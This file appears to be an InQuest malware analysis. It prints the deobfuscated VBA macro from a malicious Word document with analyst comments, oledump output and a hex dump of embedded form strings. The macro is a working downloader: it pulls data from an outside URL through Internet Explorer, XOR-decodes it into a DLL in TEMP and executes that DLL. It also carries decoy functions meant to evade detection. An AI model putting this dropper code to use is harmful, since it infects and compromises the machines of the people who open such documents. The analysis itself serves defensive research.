xor201_macro.vba

' Our comments are prefixed with the string "[InQuest]". Other comments are preserved originals from the macro.
' The sample is available for download from InQuest Labs:
'
'   https://labs.inquest.net/dfi/sha256/12d21da9bd0f7d877e04e59ad347b0e8787124c9f0ec170a913451acfb14a3b6
'
' Examining the OLE directory structure with oledump:
'
'   $ oledump.py 12d21da9bd0f7d877e04e59ad347b0e8787124c9f0ec170a913451acfb14a3b6
'     1:       146 '\x01CompObj'
'     2:         6 '\x03ObjInfo'
'     3:      4096 '\x05DocumentSummaryInformation's
'     4:      4096 '\x05SummaryInformation'
'     5:      7453 '1Table'
'     6:       523 'Macros/PROJECT'
'     7:        83 'Macros/PROJECTwm'
'     8: M    1297 'Macros/VBA/ThisDocument'
'     9:      5879 'Macros/VBA/_VBA_PROJECT'
'    10:       848 'Macros/VBA/dir'
'    11: M    1391 'Macros/VBA/qPEbOe' <<<<< renamed "MACROBJ11"
'    12: M   14387 'Macros/VBA/ysgQTF' <<<<< renamed "MACROBJ12"
'    13:        97 'Macros/ysgQTF/\x01CompObj'
'    14:       290 'Macros/ysgQTF/\x03VBFrame'
'    15:       350 'Macros/ysgQTF/f' <<<<<<<<
'    16:       208 'Macros/ysgQTF/o'
'    17:       270 'MsoDataStore/[TRIMMED]==/Item'
'    18:       341 'MsoDataStore/[TRIMMED]==/Properties'
'    19:    167112 'WordDocument'
'
' Stream 15 contains some form variables that we've interpolated into the macro code below, you can see the various
' string excerpts in this hex dump:
'
'   $ xxd 12d21da9bd0f7d877e04e59ad347b0e8787124c9f0ec170a913451acfb14a3b6.stream-15.olefileio
'   00000000: 0004 2400 480c 000c 0800 0000 0440 0000  ..$.H........@..
'   00000010: 1600 0000 007d 0000 a01f 0000 700a 0000  .....}......p...
'   00000020: 0000 0000 0000 0000 0000 0400 0000 1c01  ................
'   00000030: 0000 0084 016f 0000 5800 e701 0000 0600  .....o..X.......
'   00000040: 0080 2f00 0080 0500 0000 3400 0000 0000  ../.......4.....
'   00000050: 1700 616e 6d4b 5558 df03 6874 7470 3a2f  ..anmKUX..http:/ <<<<< anmKUX
'   00000060: 2f68 6879 6679 6464 3335 2e69 6265 7269  /hhyfydd35.iberi
'   00000070: 6174 6965 6e64 612e 636f 6d2f 6868 7966  atienda.com/hhyf
'   00000080: 7964 6433 352e 7068 7000 0000 0000 0000  ydd35.php.......
'   00000090: 0000 0000 4400 e701 0000 0600 0080 1c00  ....D...........
'   000000a0: 0080 0600 0000 3400 0000 0100 1700 734b  ......4.......sK <<<<< sKKvQW
'   000000b0: 4b76 5157 df03 496e 7465 726e 6574 4578  KvQW..InternetEx
'   000000c0: 706c 6f72 6572 2e41 7070 6c69 6361 7469  plorer.Applicati
'   000000d0: 6f6e 0000 0000 7b02 0000 0000 3800 e701  on....{.....8...
'   000000e0: 0000 0600 0080 0e00 0080 0700 0000 3400  ..............4.
'   000000f0: 0000 0200 1700 786f 4e44 7966 df03 7665  ......xoNDyf..ve <<<<< xoNDyf
'   00000100: 7269 6e73 7465 7265 2e78 6c73 0000 0000  rinstere.xls....
'   00000110: 0000 f604 0000 0000 3400 e701 0000 0600  ........4.......
'   00000120: 0080 0900 0080 0800 0000 3400 0000 0300  ..........4.....
'   00000130: 1700 716c 6c6f 7445 df03 4163 6533 322e  ..qllotE..Ace32. <<<<< qllotE
'   00000140: 646c 6c65 2e78 0000 0000 7107 0000 0002  dlle.x....q.....
'   00000150: 0c00 1900 0000 f37f 0100 ff01 0000       ..............
'
' Translation table:
'
'   +------------------------------------------------------------------------+
'   | VARIABLE | KIND     | VALUE                                            |
'   |  anmKUX  | URL      | http://hhyfydd35.iberiatienda.com/hhyfydd35.php  |
'   |  sKKvQW  | CLSID    | InternetExplorer.Application                     |
'   |  xoNDyf  | FILENAME | verinstere.xls                                   |
'   |  qllotE  | FILENAME | ACE32.dll                                        |
'   +------------------------------------------------------------------------+
'
' Subroutines have been labeled, general data flow:
'   execute_in_2019()
'   fetch_url_contents()
'   decode_and_dll_wrapper()
'     extract_decode_write()
'     ACE32.dll:Dudear()

' [InQuest] subroutine renamed from 'ommgWl'.
' [InQuest] ensure the year of the system is 2019 before executing.
Public Sub execute_in_2019()
    If Year(Date) = 2019 Then
    MACROBJ12.fetch_url_contents
    End If
    ThisDocument.Close
End Sub

Attribute VB_Name = "MACROBJ11"

' [InQuest] SendMessage is an alias Ace32.dll:Dudear().
Declare PtrSafe Function SendMessage Lib "Ace32" Alias _
"Dudear" (ByVal hWnd As Long, ByVal wMsg As Long, _
                    ByVal wParam As Long, _
                    ByVal lParam As Long) As Long

Public Enum CompareMethod
    BinaryCompare = VBA.vbBinaryCompare
    TextCompare = VBA.vbTextCompare
    DatabaseCompare = VBA.vbDatabaseCompare
End Enum

' [InQuest] renamed oqftsLM -> URLCONTENTS
' [InQuest] renamed ywXeoFl -> IEXPLORER
Public URLCONTENTS As String
Public IEXPLORER As Object
Dim vlnmlgmrglpPP(309, 2) As String

' [InQuest] renamed subroutine from fetch_url_contents.
Public Sub fetch_url_contents()
    On Error Resume Next
    MACROBJ12.Hide
    Set IEXPLORER = CreateObject(IEXPLORER.Tag)
    IEXPLORER.navigate (MACROBJ12.URL.Tag)
    Do Until IEXPLORER.readyState = 4
        DoEvents
    Loop
    URLCONTENTS = IEXPLORER.Document.body.innerText
    decode_and_dll_wrapper
End Sub

' [InQuest] renamed  subroutined from rJylRbp
Public Sub decode_and_dll_wrapper()
    Dim line_by_line() As String, three_columns() As String, current_line As Long, kHqKqYM As Integer, selected_column As String
    On Error Resume Next
    ChDir (Environ("TEMP"))
    With IEXPLORER
        Call extract_decode_write(MACROBJ12.URLCONTENTS, VERINSTEREXLS.Tag, 0)
        Call extract_decode_write(MACROBJ12.URLCONTENTS, ACE32DLL.Tag, 1)
        MACROBJ11.SendMessage 0, 0, 0, 0
        Done:
        Call extract_decode_write(MACROBJ12.URLCONTENTS, ACE32DLL.Tag, 2)
        MACROBJ11.SendMessage 0, 0, 0, 0
        .Quit
    End With
End Sub

' [InQuest] renamed udsbQTS -> input_csv_data
' [InQuest] renamed howSqii -> file_path
' [InQuest] renamed mWLFKPo -> column_index
Public Sub extract_decode_write(input_csv_data As String, file_path As String, column_index As Integer)
    Dim line_by_line() As String, three_columns() As String, current_line As Long, kHqKqYM As Integer, selected_column As String, NEWLINE As String
    NEWLINE = vbNewLine
    Dim tmp_decoded() As Byte
    Dim dtRRswP As Integer
    Dim column_value As Variant

    ' [InQuest] (https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/strconv-function)
    ' [InQuest] 128 -> vbFromUnicode
    ' [InQuest]  64 -> vbUnicode
    ' [InQuest]  either superfluous calls for anti emulation/ml or data normalization.
    tmp_decoded  = StrConv(input_csv_data, 128)
    line_by_line = Split(StrConv(tmp_decoded, 64), NEWLINE)

    Open file_path For Binary Lock Read Write As #14
    For current_line = 1 To (UBound(line_by_line))
        three_columns   = Split(line_by_line(current_line), ",")
        selected_column = three_columns(column_index)

        If Len(selected_column) > 0 Then
            column_value = Val(selected_column)
            column_value = column_value Xor 201
            Dim k As Byte
            k = CByte(column_value)
            Put #14, , k
        End If
    Next
    Close #14
 End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' [InQuest] BELOW THIS LINE IS SEEMINGLY UNUSED LOGIC.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


' [InQuest] NOTE: this function is never called, here to throw of ML detectors?
'Replace all unformatted URLs with a hyperlink to itself.
Private Static Sub URLtoHyperlink()
  Dim f1 As Boolean, f2 As Boolean, f3 As Boolean
  Dim f4 As Boolean, f5 As Boolean, f6 As Boolean
  Dim f7 As Boolean, f8 As Boolean, f9 As Boolean
  Dim f10 As Boolean
  With Options
    ' Save current AutoFormat settings
    f1 = .AutoFormatApplyHeadings
    f2 = .AutoFormatApplyLists
    f3 = .AutoFormatApplyBulletedLists
    f4 = .AutoFormatApplyOtherParas
    f5 = .AutoFormatReplaceQuotes
    f6 = .AutoFormatReplaceSymbols
    f7 = .AutoFormatReplaceOrdinals
    f8 = .AutoFormatReplaceFractions
    f9 = .AutoFormatReplacePlainTextEmphasis
    f10 = .AutoFormatReplaceHyperlinks
    ' Only convert URLs
    .AutoFormatApplyHeadings = False
    .AutoFormatApplyLists = False
    .AutoFormatApplyBulletedLists = False
    .AutoFormatApplyOtherParas = False
    .AutoFormatReplaceQuotes = False
    .AutoFormatReplaceSymbols = False
    .AutoFormatReplaceOrdinals = False
    .AutoFormatReplaceFractions = False
    .AutoFormatReplacePlainTextEmphasis = False
    .AutoFormatReplaceHyperlinks = True
    ' Perform AutoFormat
    ActiveDocument.Content.AutoFormat
    ' Restore original AutoFormat settings
    .AutoFormatApplyHeadings = f1
    .AutoFormatApplyLists = f2
    .AutoFormatApplyBulletedLists = f3
    .AutoFormatApplyOtherParas = f4
    .AutoFormatReplaceQuotes = f5
    .AutoFormatReplaceSymbols = f6
    .AutoFormatReplaceOrdinals = f7
    .AutoFormatReplaceFractions = f8
    .AutoFormatReplacePlainTextEmphasis = f9
    .AutoFormatReplaceHyperlinks = f10
  End With
End Sub

' [InQuest] NOTE: this function is never called, here to throw of ML detectors?
Function StripAccentt(aString As String)
    Dim A As String * 1
    Dim B As String * 1
    Dim i As Integer
    Const AccChars = "|160||17d||161||17e||178||c0||c1||c2||c3||c4||c5||c7||c8||c9||ca||cb||cc||cd||ce||cf||d0||d1||d2||d3||d4||d5||d6||d9||da||db||dc||dd||e0||e1||e2||e3||e4||e5||e7||e8||e9||ea||eb||ec||ed||ee||ef||f0||f1||f2||f3||f4||f5||f6||f9||fa||fb||fc||fd||ff|"
    Const RegChars = "SZszYAAAAAACEEEEIIIIDNOOOOOUUUUYaaaaaaceeeeiiiidnooooouuuuyy"
    For i = 1 To Len(AccChars)
        A = Mid(AccChars, i, 1)
        B = Mid(RegChars, i, 1)
        aString = Replace(aString, A, B)
    Next
    StripAccentt = aString
End Function

' [InQuest] NOTE: this function is never called, here to throw of ML detectors?
'Replace accended chars with their plaintext alphabet counterparts
'Remove all shapes in the Active Document
Function DeleteShapes()
    Dim i As Long
    With ActiveDocument
    For i = .Shapes.Count To 1 Step -1
        With .Shapes(i)
            If .Type = msoAutoShape Then .Delete
        End With
    Next i
End With
End Function

' [InQuest] NOTE: this function is never called, here to throw of ML detectors?
'Save a new file from range Section within the parent file with fileName from Range Header within Section
Private Static Sub CopyAndSave(Section As Range, Header As Range, maxFileName As Integer)
    Dim name As String
    Header.Select
    Selection.ClearFormatting
    Dim D As Document

    'File name cannot contain \ / : * ? " < > |
    name = Replace(Header.Text, Chr(13), "")
    name = Application.CleanString(name)
    name = Replace(name, "\", "-")
    name = Replace(name, "/", "-")
    name = Replace(name, ":", "-")
    name = Replace(name, "?", "-")
    name = Replace(name, "*", "")
    name = Replace(name, """", "")
    name = Replace(name, "<", " ")
    name = Replace(name, ">", " ")
    name = Replace(name, "|", " ")
    name = Replace(name, "    ", "")
    name = Replace(name, Chr(10), "")
    name = Replace(name, Chr(13), "")
    name = Replace(name, Chr(9), "")
    name = Replace(name, "", "'")
    name = Replace(name, "", "'")
    name = Replace(name, "", "'")
    name = Replace(name, "", "'")
    name = Replace(name, " ", "")
    name = Replace(name, "", "(R)")
    name = Replace(name, "", "(TM)")
    name = Replace(name, "", "(TM)")
    name = Replace(name, "", "(E)")
    name = Replace(name, "", " ")
    name = Replace(name, "", "-")
    name = Replace(name, "", "-")
    name = Trim(name)

    'Debug.Print name

    'Reformatting Header
    Header.Select
    Selection.Font.Bold = True
    Selection.Font.Grow

    'Truncate File names to under maxFileName chars
    If (Len(name) > maxFileName) Then
        name = Left(name, maxFileName) & " ..."
    End If
    'Debug.Print "Saving: " & name

    Header.Copy
    Section.Copy

    'Saving Document
    Set D = Documents.Add
    D.Range.PasteAndFormat wdFormatOriginalFormatting
    With D.Content.Find
        .ClearFormatting
        .MatchWildcards = True
        .MatchCase = False
        .Text = "^13([1-9]).([1-9])*^13"
        .Replacement.ClearFormatting
        .Replacement.Text = ""
        .Execute Replace:=wdReplaceAll, Forward:=True, _
        Wrap:=wdFindContinue
    End With

    D.SaveAs2 FileName:=Section.Parent.Path & Application.PathSeparator & name & ".htm", _
    FileFormat:=wdFormatFilteredHTML
    D.Close
End Sub

' [InQuest] NOTE: this function is never called, here to throw of ML detectors?
'Remove all existing hyperlinks in a document.
Private Static Sub RemoveAllHyperlinks()
    Dim oField As Field
    For Each oField In ActiveDocument.Fields
        If oField.Type = wdFieldHyperlink Then
            oField.Unlink
        End If
    Next
    Set oField = Nothing
End Sub

'Save a new file from range Section within the parent file with fileName from Range Header within Section